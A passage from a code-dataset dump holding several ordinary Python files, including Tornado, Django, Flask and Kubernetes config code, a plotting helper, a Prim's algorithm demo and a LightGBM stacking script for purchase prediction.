"utils.putget.get_float64", "line_number": 103, "usage_type": "attribute"}, {"api_name": "utils.putget.put_uint32", "line_number": 118, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 118, "usage_type": "name"}, {"api_name": "utils.putget.put_uint32", "line_number": 119, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 119, "usage_type": "name"}, {"api_name": "utils.putget.put_bytes", "line_number": 120, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 120, "usage_type": "name"}, {"api_name": "utils.putget.get_uint32", "line_number": 124, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 124, "usage_type": "name"}, {"api_name": "utils.putget.get_uint32", "line_number": 125, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 125, "usage_type": "name"}, {"api_name": "utils.putget.get_bytes", "line_number": 126, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 126, "usage_type": "name"}, {"api_name": "utils.putget.put_uint32", "line_number": 137, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 137, "usage_type": "name"}, {"api_name": "utils.putget.put_uint32", "line_number": 138, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 138, "usage_type": "name"}, {"api_name": "utils.putget.put_iter", "line_number": 139, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 139, "usage_type": "name"}, {"api_name": "utils.putget.put_float32", "line_number": 139, "usage_type": "attribute"}, {"api_name": "utils.putget.get_uint32", "line_number": 143, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 143, "usage_type": "name"}, {"api_name": "utils.putget.get_uint32", "line_number": 144, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 144, "usage_type": "name"}, {"api_name": "utils.putget.get_iter", "line_number": 145, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 145, "usage_type": "name"}, {"api_name": "utils.putget.get_float32", "line_number": 145, "usage_type": "attribute"}, {"api_name": "utils.putget.put_float32", "line_number": 157, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 157, "usage_type": "name"}, {"api_name": "utils.putget.put_float32", "line_number": 158, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 158, "usage_type": "name"}, {"api_name": "utils.putget.put_float32", "line_number": 159, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 159, "usage_type": "name"}, {"api_name": "utils.putget.put_float32", "line_number": 160, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 160, "usage_type": "name"}, {"api_name": "utils.putget.get_float32", "line_number": 164, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 164, "usage_type": "name"}, {"api_name": "utils.putget.get_float32", "line_number": 165, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 165, "usage_type": "name"}, {"api_name": "utils.putget.get_float32", "line_number": 166, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 166, "usage_type": "name"}, {"api_name": "utils.putget.get_float32", "line_number": 167, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 167, "usage_type": "name"}]}
+{"seq_id": "149087424", "text": "#!/usr/bin/env python\n# coding:utf-8\nimport os\n\nimport base\nimport config\nimport tornado.web\nimport main\n\nsettings = {\n    'static_path': os.path.join(os.path.dirname(__file__), 'static'),\n    'template_path': os.path.join(os.path.dirname(__file__), 'templates'),\n    'debug': False\n\n}\n\nconfig=config.config\n# application = base.Application(template_path=os.path.join(os.path.dirname(__file__), \"templates\"))\n\napplication = base.Application(**settings)\n\n# 装载 Request Handler 模块\napplication.load_handler_module(main)\n\nif __name__ == \"__main__\":\n    tornado.options.parse_command_line()\n    application.listen(config.port)\n    tornado.ioloop.IOLoop.instance().start()\n", "sub_path": "Server/run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 674, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "config.config", "line_number": 17, "usage_type": "attribute"}, {"api_name": "base.Application", "line_number": 20, "usage_type": "call"}, {"api_name": "tornado.web.options.parse_command_line", "line_number": 26, "usage_type": "call"}, {"api_name": "tornado.web.options", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 26, "usage_type": "name"}, {"api_name": "config.port", "line_number": 27, "usage_type": "attribute"}, {"api_name": "tornado.web.ioloop.IOLoop.instance", "line_number": 28, "usage_type": "call"}, {"api_name": "tornado.web.ioloop", "line_number": 28, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 28, "usage_type": "name"}]}
+{"seq_id": "78510604", "text": "# -*- coding: utf-8 -*-\nimport os\n\nimport kubernetes.client\nimport kubernetes.config\n\nfrom .base_config import BaseConfig\nfrom ..utils import as_boolean\nfrom ..utils import safe_value\n\n\nclass KubernetesConfig(BaseConfig):\n    def __init__(self):\n        self.settings = {\n            k: v for k, v in os.environ.iteritems()\n            if k.isupper() and k.startswith(\"GLUU_CONFIG_KUBERNETES_\")\n        }\n        self.settings.setdefault(\n            \"GLUU_CONFIG_KUBERNETES_NAMESPACE\",\n            \"default\",\n        )\n\n        self.settings.setdefault(\n            \"GLUU_CONFIG_KUBERNETES_CONFIGMAP\",\n            \"gluu\",\n        )\n\n        self.settings.setdefault(\n            \"GLUU_CONFIG_KUBERNETES_USE_KUBE_CONFIG\",\n            False\n        )\n\n        if as_boolean(self.settings[\"GLUU_CONFIG_KUBERNETES_USE_KUBE_CONFIG\"]):\n            kubernetes.config.load_kube_config()\n        else:\n            kubernetes.config.load_incluster_config()\n\n        self.client = kubernetes.client.CoreV1Api()\n        self.name_exists = False\n\n    def get(self, key, default=None):\n        result = self.all()\n        return result.get(key, default)\n\n    def _prepare_configmap(self):\n        # create a configmap name if not exist\n        if not self.name_exists:\n            try:\n                self.client.read_namespaced_config_map(\n                    self.settings[\"GLUU_CONFIG_KUBERNETES_CONFIGMAP\"],\n                    self.settings[\"GLUU_CONFIG_KUBERNETES_NAMESPACE\"])\n                self.name_exists = True\n            except kubernetes.client.rest.ApiException as exc:\n                if exc.status == 404:\n                    # create the configmaps name\n                    body = {\n                        \"kind\": \"ConfigMap\",\n                        \"apiVersion\": \"v1\",\n                        \"metadata\": {\n                            \"name\": self.settings[\"GLUU_CONFIG_KUBERNETES_CONFIGMAP\"],\n                        },\n                        \"data\": {},\n                    }\n                    created = self.client.create_namespaced_config_map(\n                        self.settings[\"GLUU_CONFIG_KUBERNETES_NAMESPACE\"],\n                        body)\n                    if created:\n                        self.name_exists = True\n                else:\n                    raise\n\n    def set(self, key, value):\n        self._prepare_configmap()\n        body = {\n            \"kind\": \"ConfigMap\",\n            \"apiVersion\": \"v1\",\n            \"metadata\": {\n                \"name\": self.settings[\"GLUU_CONFIG_KUBERNETES_CONFIGMAP\"],\n            },\n            \"data\": {\n                key: safe_value(value),\n            }\n        }\n        return self.client.patch_namespaced_config_map(\n            self.settings[\"GLUU_CONFIG_KUBERNETES_CONFIGMAP\"],\n            self.settings[\"GLUU_CONFIG_KUBERNETES_NAMESPACE\"],\n            body=body)\n\n    def all(self):\n        self._prepare_configmap()\n        result = self.client.read_namespaced_config_map(\n            self.settings[\"GLUU_CONFIG_KUBERNETES_CONFIGMAP\"],\n            self.settings[\"GLUU_CONFIG_KUBERNETES_NAMESPACE\"])\n        return result.data or {}\n", "sub_path": "pygluu/containerlib/config/kubernetes_config.py", "file_name": "kubernetes_config.py", "file_ext": "py", "file_size_in_byte": 3119, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "base_config.BaseConfig", "line_number": 12, "usage_type": "name"}, {"api_name": "os.environ.iteritems", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "utils.as_boolean", "line_number": 33, "usage_type": "call"}, {"api_name": "kubernetes.client.config.load_kube_config", "line_number": 34, "usage_type": "call"}, {"api_name": "kubernetes.client.config", "line_number": 34, "usage_type": "attribute"}, {"api_name": "kubernetes.client", "line_number": 34, "usage_type": "name"}, {"api_name": "kubernetes.client.config.load_incluster_config", "line_number": 36, "usage_type": "call"}, {"api_name": "kubernetes.client.config", "line_number": 36, "usage_type": "attribute"}, {"api_name": "kubernetes.client", "line_number": 36, "usage_type": "name"}, {"api_name": "kubernetes.client.client.CoreV1Api", "line_number": 38, "usage_type": "call"}, {"api_name": "kubernetes.client.client", "line_number": 38, "usage_type": "attribute"}, {"api_name": "kubernetes.client", "line_number": 38, "usage_type": "name"}, {"api_name": "kubernetes.client.client", "line_number": 53, "usage_type": "attribute"}, {"api_name": "kubernetes.client", "line_number": 53, "usage_type": "name"}, {"api_name": "utils.safe_value", "line_number": 81, "usage_type": "call"}]}
+{"seq_id": "36577650", "text": "import re\n\nfrom django.urls import reverse\nfrom django.utils.deprecation import MiddlewareMixin\n\nfrom cart.models import ShoppingCart\nfrom user.models import User, RecentBrowsing\nfrom django.http import HttpResponseRedirect\n\n\nclass AuthMiddleware(MiddlewareMixin):\n\n    def process_request(self, request):\n        # 拦截请求之前的函数\n        # 1.给reuqest.user属性赋值，赋值为当前登录用户\n        user_id = request.session.get('user_id')\n        if user_id:\n            user = User.objects.filter(pk=user_id).first()\n            request.user = user\n        # 登录校验，需区分哪些地址需要登录校验，哪些不需要登录校验\n        path = request.path\n        if path == '/':\n            return None\n        not_need_check = ['/user/register/', '/user/login/',\n                          '/goods/index/', '/goods/detail/.*',\n                          '/cart/.*/', '/media/.*/',\n                          '/goods/list/', '/goods/list_price/',\n                          '/goods/list_pop/', '/goods/search/',\n                          ]\n        for check_path in not_need_check:\n            if re.match(check_path, path):\n                # 当前path路径为不需要做登录校验的路由\n                return None\n        # 访问路由为需要登录的路由，判断登录状态，没有登录跳转到登录页面\n        if not user_id:\n            return HttpResponseRedirect(reverse('user:login'))\n\n\nclass SessionToDbMiddleware(MiddlewareMixin):\n\n    def process_response(self, request, response):\n        # 同步session中de商品信息和数据库中购物车表的商品信息\n        # 1.判断用户是否登录，登录才做数据同步操作\n        user_id = request.session.get('user_id')\n        if user_id:\n            # 2.同步\n            # 2.1 判断session中的商品是否存在于数据库中，如果存在，则同步，\n            # 2.2 如果不存,在则创建\n            # 2.3 同步数据库的数据到session中\n            session_goods = request.session.get('goods')\n            if session_goods:\n                for se_goods in session_goods:\n                    cart = ShoppingCart.objects.filter(user_id=user_id,\n                                                       goods_id=se_goods[0]).first()\n                    if cart:\n                        # 更新数据库的购物车商品信息\n                        if cart.nums != se_goods[1] or cart.is_select != se_goods[2]:\n                            cart.nums = se_goods[1]\n                            cart.is_select = se_goods[2]\n                            cart.save()\n                    else:\n                        # 数据库创建购物车信息\n                        ShoppingCart.objects.create(user_id=user_id,\n                                                    goods_id=se_goods[0],\n                                                    nums=se_goods[1],\n                                                    is_select=se_goods[2])\n            # 同步数据库中的数据到session中\n            db_carts = ShoppingCart.objects.filter(user_id=user_id)\n            if db_carts:\n                new_session_goods = [[cart.goods_id, cart.nums, cart.is_select] for cart in db_carts]\n                request.session['goods'] = new_session_goods\n                # result = []\n                # for cart in db_carts:\n                #     data = [cart.goods_id, cart.nums, cart.is_select]\n                #     result.append(data)\n        return response\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "fresh_shop/utils/middleware.py", "file_name": "middleware.py", "file_ext": "py", "file_size_in_byte": 3520, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.utils.deprecation.MiddlewareMixin", "line_number": 11, "usage_type": "name"}, {"api_name": "user.models", "line_number": 18, "usage_type": "name"}, {"api_name": "user.models.User.objects.filter", "line_number": 18, "usage_type": "call"}, {"api_name": "user.models.User.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "user.models.User", "line_number": 18, "usage_type": "name"}, {"api_name": "user.models", "line_number": 19, "usage_type": "name"}, {"api_name": "re.match", "line_number": 31, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 36, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 36, "usage_type": "call"}, {"api_name": "django.utils.deprecation.MiddlewareMixin", "line_number": 39, "usage_type": "name"}, {"api_name": "cart.models", "line_number": 53, "usage_type": "name"}, {"api_name": "cart.models.ShoppingCart.objects.filter", "line_number": 53, "usage_type": "call"}, {"api_name": "cart.models.ShoppingCart.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "cart.models.ShoppingCart", "line_number": 53, "usage_type": "name"}, {"api_name": "cart.models", "line_number": 55, "usage_type": "name"}, {"api_name": "cart.models.nums", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cart.models", "line_number": 57, "usage_type": "name"}, {"api_name": "cart.models.is_select", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cart.models.nums", "line_number": 58, "usage_type": "attribute"}, {"api_name": "cart.models", "line_number": 58, "usage_type": "name"}, {"api_name": "cart.models.is_select", "line_number": 59, "usage_type": "attribute"}, {"api_name": "cart.models", "line_number": 59, "usage_type": "name"}, {"api_name": "cart.models.save", "line_number": 60, "usage_type": "call"}, {"api_name": "cart.models", "line_number": 60, "usage_type": "name"}, {"api_name": "cart.models.ShoppingCart.objects.create", "line_number": 63, "usage_type": "call"}, {"api_name": "cart.models.ShoppingCart.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "cart.models.ShoppingCart", "line_number": 63, "usage_type": "name"}, {"api_name": "cart.models.ShoppingCart.objects.filter", "line_number": 68, "usage_type": "call"}, {"api_name": "cart.models.ShoppingCart.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "cart.models.ShoppingCart", "line_number": 68, "usage_type": "name"}, {"api_name": "cart.models.goods_id", "line_number": 70, "usage_type": "attribute"}, {"api_name": "cart.models", "line_number": 70, "usage_type": "name"}, {"api_name": "cart.models.nums", "line_number": 70, "usage_type": "attribute"}, {"api_name": "cart.models.is_select", "line_number": 70, "usage_type": "attribute"}]}
+{"seq_id": "51638516", "text": "from __future__ import print_function   # if you are using Python 2\n#import dionysus as d\n#import os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef plot_diagram(M, sub_dir):\n    for i in [0,1]:\n        fig = plt.figure()\n        plot_data = M[M[:,0]==i]\n        infs = plot_data[plot_data[:,2] > 1E308]\n        num_infs = infs.shape[0]\n        plot_data = plot_data[plot_data[:,2] < 1E308] # remove infs\n\n        order_data = np.abs(plot_data[:,2] - plot_data[:,1]) # abs(death - birth)\n        args = np.argsort(order_data)[::-1]\n        plot_data = plot_data[args]\n        plot_data = plot_data[:500] # only show top based on abs(death - birth) time\n        max_death = np.max(plot_data[:,2])\n        min_birth = np.min(plot_data[:,1])\n        min_birth = np.min([min_birth, np.min(infs[:,1])]) # include so that we can see inf\n        eps = np.abs(max_death - min_birth) / 20.0\n        lims = [min_birth - eps, max_death + eps, min_birth - eps, max_death + eps]\n        plt.axis(lims)\n        plt.plot([min_birth, max_death], [min_birth, max_death], color='k', linestyle='-', linewidth=2)\n        plt.plot(plot_data[:,1], plot_data[:,2], \"o\")\n\n        for j in range(0, infs.shape[0]):\n            pt = infs[j,:]\n            plt.plot([pt[1]], [pt[1]], \"o\", color=\"r\")\n\n        plt.title('Dimension {}. Num infs: {}'.format(i, num_infs))\n        plt.xlabel('birth')\n        plt.ylabel('death')\n        #plt.show()\n        fig.savefig('{}/diagram_dim{}.png'.format(sub_dir, i))\n", "sub_path": "misc/plot_diagram.py", "file_name": "plot_diagram.py", "file_ext": "py", "file_size_in_byte": 1488, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}]}
+{"seq_id": "72235314", "text": "from flask import Flask, redirect, url_for, request, render_template\nfrom werkzeug import secure_filename\nimport os\n\nUPLOAD_FOLDER = 'flaProject/uploadedFiles'\n\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n@app.route('/')\ndef fileGrab():\n    return render_template('upload.html')\n\n\n@app.route('/uploader', methods = ['GET', 'POST'])\ndef uploadFile():\n    if request.method == 'POST':\n      f = request.files['file']\n      filename = secure_filename(f.filename)\n      path = os.path.join(app.root_path, 'uploadedFiles')\n      f.save(os.path.join(path, filename))\n      return render_template('MFFGIDapp.html')\n\n@app.route('/fillDate', methods = ['GET', 'POST'])\ndef fill():\n    if request.method == 'POST':\n        if bool(request.form.getlist('auto')):\n            os.system('CScript \"C:/Users/LucyPerez/Downloads/Roger Document Control/flaProject-20170629T230443Z-001/flaProject/mfgid.vbs\"')\n            os.rename(\"C:/Users/LucyPerez/Downloads/Roger Document Control/flaProject-20170629T230443Z-001/flaProject/uploadedFiles/Book3.xlsx\", \"C:/Users/LucyPerez/Downloads/Roger Document Control/flaProject-20170629T230443Z-001/flaProject/uploadedFiles/doneFiles/Book3.xlsx\")\n            return \"Script should run\"\n        else:\n            return \"Not done yet, sorry!\"\n    else:\n        return \"ELSE\"\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n\n", "sub_path": "flaProject/mfgid.py", "file_name": "mfgid.py", "file_ext": "py", "file_size_in_byte": 1373, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "werkzeug.secure_filename", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "os.system", "line_number": 28, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 29, "usage_type": "call"}]}
+{"seq_id": "402051194", "text": "from heapq import heappop, heappush\n\n\ndef prim(G, s):\n    P, Q = {}, [(0, None, s)]\n    while Q:\n        _, p, u = heappop(Q)\n        if u in P: continue\n        P[u] = p\n        for v, w in G[u].items():\n            heappush(Q, (w, u, v))\n        return P\n\n\na, b, c, d, e, f, g, h = range(8)\nG = {\n    a: {b, c, d, e, f},\n    b: {c, e},\n    c: {d},\n    d: {e},\n    e: {f},\n    f: {c, g, h},\n    g: {f, h},\n    h: {f, g}\n}\nfrom scipy.stats import uniform\n\nrv = uniform(loc=0, scale=1)\nV = {i: rv.rvs(size=2) for i in range(8)}\n\nimport numpy as np\n\nG = {u: {v: np.linalg.norm(V[u] - V[v], ord=2) for v in G[u]} for u in G}\n\nk = prim(G, 0)\nprint(k)\nfrom scipy.stats import uniform\n\nimport matplotlib.pyplot as plt\n\nfor i in V:\n    plt.plot(V[i][0], V[i][1], 'o')\nfor i in G:\n    for j in G[i]:\n        temp = list(zip(V[i], V[j]))\n        plt.plot(temp[0], temp[1], 'k')\n\nfor i in k:\n    temp = list(zip(V[i[0]], V[i[1]]))\n    plt.plot(temp[0], temp[1], 'r', lw=8, alpha=0.6)\nplt.show()\n", "sub_path": "算法/图/prim.py", "file_name": "prim.py", "file_ext": "py", "file_size_in_byte": 985, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "heapq.heappop", "line_number": 7, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 11, "usage_type": "call"}, {"api_name": "scipy.stats.uniform", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 33, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}]}
+{"seq_id": "487576707", "text": "import pandas as pd\r\nimport numpy as np\r\nimport datetime\r\nimport lightgbm as lgb\r\nfrom sklearn.metrics import f1_score\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.model_selection import KFold\r\nfrom sklearn.model_selection import StratifiedKFold\r\npd.set_option('display.max_columns', None)\r\n\r\ndf_train=pd.read_csv('../output/df_train.csv')\r\ndf_test=pd.read_csv('../output/df_test.csv')\r\ndf_user=pd.read_csv('../data/jdata_user.csv')\r\ndf_comment=pd.read_csv('../data/jdata_comment.csv')\r\ndf_shop=pd.read_csv('../data/jdata_shop.csv')\r\n\r\n# 1）行为数据（jdata_action）\r\njdata_action = pd.read_csv('../data/jdata_action.csv')\r\n# 3）商品数据（jdata_product）\r\njdata_product =  pd.read_csv('../data/jdata_product.csv')\r\njdata_data = jdata_action.merge(jdata_product,on=['sku_id'])\r\n\r\ntrain_buy = jdata_data[(jdata_data['action_time']>='2018-04-09') \\\r\n                           & (jdata_data['action_time']<'2018-04-16') \\\r\n                           & (jdata_data['type']==2)][['user_id','cate','shop_id']].drop_duplicates()\r\ntrain_buy['label'] = 1\r\n# 候选集 时间 ： '2018-03-19'-'2018-04-08' 最近两周有行为的（用户，类目，店铺）\r\ntrain_set = jdata_data[(jdata_data['action_time']>='2018-03-19') \\\r\n                           & (jdata_data['action_time']<'2018-04-09')][['user_id','cate','shop_id']].drop_duplicates()\r\ntrain_set = train_set.merge(train_buy,on=['user_id','cate','shop_id'],how='left').fillna(0)\r\n\r\n\r\ntrain_set = train_set.merge(df_train,on=['user_id','cate','shop_id'],how='left')\r\n\r\ndef mapper(x):\r\n    if x is not np.nan:\r\n        year=int(x[:4])\r\n        return 2018-year\r\n\r\n\r\ndf_user['user_reg_tm']=df_user['user_reg_tm'].apply(lambda x:mapper(x))\r\ndf_shop['shop_reg_tm']=df_shop['shop_reg_tm'].apply(lambda x:mapper(x))\r\ndf_shop['shop_reg_tm']=df_shop['shop_reg_tm'].fillna(df_shop['shop_reg_tm'].mean())\r\ndf_user['age']=df_user['age'].fillna(df_user['age'].mean())\r\ndf_comment=pd.read_csv('../data/jdata_comment.csv')\r\ndf_comment=df_comment.groupby(['sku_id'],as_index=False).sum()\r\ndf_product=pd.read_csv('../data/jdata_product.csv')\r\ndf_product_comment=pd.merge(df_product,df_comment,on='sku_id',how='left')\r\ndf_product_comment=df_product_comment.fillna(0)\r\ndf_product_comment=df_product_comment.groupby(['shop_id'],as_index=False).sum()\r\ndf_product_comment=df_product_comment.drop(['sku_id','brand','cate'],axis=1)\r\ndf_shop_product_comment=pd.merge(df_shop,df_product_comment,how='left',on='shop_id')\r\n\r\n\r\ntrain_set=pd.merge(train_set,df_user,how='left',on='user_id')\r\ntrain_set=pd.merge(train_set,df_shop_product_comment,on='shop_id',how='left')\r\n\r\ntest_set = jdata_data[(jdata_data['action_time']>='2018-03-26') \\\r\n                           & (jdata_data['action_time']<'2018-04-16')][['user_id','cate','shop_id']].drop_duplicates()\r\n\r\ntest_set = test_set.merge(df_test,on=['user_id','cate','shop_id'],how='left')\r\n\r\ndel df_train\r\ndel df_test\r\n\r\ntest_set=pd.merge(test_set,df_user,how='left',on='user_id')\r\ntest_set=pd.merge(test_set,df_shop_product_comment,on='shop_id',how='left')\r\ntrain_set.rename(columns={'cate_x':'cate'}, inplace = True)\r\ntest_set.rename(columns={'cate_x':'cate'}, inplace = True)\r\n\r\ntest_head=test_set[['user_id','cate','shop_id']]\r\ntrain_head=train_set[['user_id','cate','shop_id']]\r\ntest_set=test_set.drop(['user_id','cate','shop_id'],axis=1)\r\ntrain_set=train_set.drop(['user_id','cate','shop_id'],axis=1)\r\n\r\n# 数据准备\r\nX_train = train_set.drop(['label'],axis=1).values\r\ny_train = train_set['label'].values\r\nX_test = test_set.values\r\n\r\ndel test_set\r\ndel train_set\r\n\r\n# 模型工具\r\nclass SBBTree():\r\n    \"\"\"Stacking,Bootstap,Bagging----SBBTree\"\"\"\r\n    def __init__(self, params, stacking_num, bagging_num, bagging_test_size, num_boost_round, early_stopping_rounds):\r\n        \"\"\"\r\n        Initializes the SBBTree.\r\n        Args:\r\n          params : lgb params.\r\n          stacking_num : k_flod stacking.\r\n          bagging_num : bootstrap num.\r\n          bagging_test_size : bootstrap sample rate.\r\n          num_boost_round : boost num.\r\n          early_stopping_rounds : early_stopping_rounds.\r\n        \"\"\"\r\n        self.params = params\r\n        self.stacking_num = stacking_num\r\n        self.bagging_num = bagging_num\r\n        self.bagging_test_size = bagging_test_size\r\n        self.num_boost_round = num_boost_round\r\n        self.early_stopping_rounds = early_stopping_rounds\r\n\r\n        self.model = lgb\r\n        self.stacking_model = []\r\n        self.bagging_model = []\r\n\r\n    def fit(self, X, y):\r\n        \"\"\" fit model. \"\"\"\r\n        if self.stacking_num > 1:\r\n            layer_train = np.zeros((X.shape[0], 2))\r\n            self.SK = StratifiedKFold(n_splits=self.stacking_num, shuffle=True, random_state=1)\r\n            for k,(train_index, test_index) in enumerate(self.SK.split(X, y)):\r\n                X_train = X[train_index]\r\n                y_train = y[train_index]\r\n                X_test = X[test_index]\r\n                y_test = y[test_index]\r\n\r\n                lgb_train = lgb.Dataset(X_train, y_train)\r\n                lgb_eval = lgb.Dataset(X_test, y_test, reference=lgb_train)\r\n\r\n                gbm = lgb.train(self.params,\r\n                            lgb_train,\r\n                            num_boost_round=self.num_boost_round,\r\n                            valid_sets=lgb_eval,\r\n                            early_stopping_rounds=self.early_stopping_rounds,\r\n                            verbose_eval=300)\r\n\r\n                self.stacking_model.append(gbm)\r\n\r\n                pred_y = gbm.predict(X_test, num_iteration=gbm.best_iteration)\r\n                layer_train[test_index, 1] = pred_y\r\n\r\n            X = np.hstack((X, layer_train[:,1].reshape((-1,1))))\r\n        else:\r\n            pass\r\n        for bn in range(self.bagging_num):\r\n            X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=self.bagging_test_size, random_state=bn)\r\n\r\n            lgb_train = lgb.Dataset(X_train, y_train)\r\n            lgb_eval = lgb.Dataset(X_test, y_test, reference=lgb_train)\r\n\r\n            gbm = lgb.train(self.params,\r\n                        lgb_train,\r\n                        num_boost_round=10000,\r\n                        valid_sets=lgb_eval,\r\n                        early_stopping_rounds=200,\r\n                        verbose_eval=300)\r\n\r\n            self.bagging_model.append(gbm)\r\n\r\n    def predict(self, X_pred):\r\n        \"\"\" predict test data. \"\"\"\r\n        if self.stacking_num > 1:\r\n            test_pred = np.zeros((X_pred.shape[0], self.stacking_num))\r\n            for sn,gbm in enumerate(self.stacking_model):\r\n                pred = gbm.predict(X_pred, num_iteration=gbm.best_iteration)\r\n                test_pred[:, sn] = pred\r\n            X_pred = np.hstack((X_pred, test_pred.mean(axis=1).reshape((-1,1))))\r\n        else:\r\n            pass\r\n        for bn,gbm in enumerate(self.bagging_model):\r\n            pred = gbm.predict(X_pred, num_iteration=gbm.best_iteration)\r\n            if bn == 0:\r\n                pred_out=pred\r\n            else:\r\n                pred_out+=pred\r\n        return 